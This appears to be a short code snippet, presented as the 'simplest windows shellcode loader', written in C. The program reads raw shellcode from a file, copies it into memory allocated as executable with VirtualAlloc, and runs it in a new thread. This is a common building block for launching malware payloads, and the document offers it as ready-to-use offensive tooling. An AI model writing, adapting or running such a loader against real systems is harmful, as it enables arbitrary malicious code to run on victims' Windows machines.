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Simplest windows shellcode loader there can be, purely in C
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#include <stdio.h> | |
#include <stdlib.h> | |
#define WIN32_LEAN_AND_MEAN | |
#include <windows.h> | |
int main(int argc, char **argv) { | |
if (argc != 2) { | |
printf("Usage: ./shellcodeLoader <shellcode64>\n"); | |
return 1; | |
} | |
FILE *fdShell = fopen(argv[1], "rb"); | |
fseek(fdShell, 0, SEEK_END); | |
int length = ftell(fdShell); | |
rewind(fdShell); | |
void *sc = calloc(1, length); | |
fread(sc, length, 1, fdShell); | |
void* addressPointer = VirtualAlloc(NULL, length+1, 0x3000, 0x40); | |
RtlMoveMemory(addressPointer, sc, length+1); | |
void* handle = CreateThread(NULL, 0, (void*)addressPointer, NULL, 0, 0); | |
Sleep(3000); | |
WaitForSingleObject(handle, INFINITE); | |
return 0; | |
} |
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